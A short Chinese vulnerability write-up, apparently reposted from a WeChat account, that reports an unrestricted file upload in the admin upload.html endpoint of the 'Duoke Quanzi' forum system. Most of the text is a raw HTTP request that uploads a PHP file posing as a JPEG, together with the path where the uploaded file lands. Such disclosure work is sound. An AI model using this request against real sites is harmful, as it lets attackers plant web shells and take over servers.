多客圈子论坛系统存在后台upload.html文件上传漏洞

上传文件处，只做了前端校验，修改文件后缀即可上传

链接地址：地址/uploads/1/file/返回的值

POST /index.php/admin/upload_files/upload.html?&water=0 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYZ7xPRvKeHlg4VIw
Cookie: xxxxxxx
Host: 127.0.0.1:81
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/index.php/admin/upload_files/upload.html?&water=0
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--

原文始发于微信公众号（我吃饼干）：【漏洞复现】多客圈子论坛系统存在后台upload.html文件上传漏洞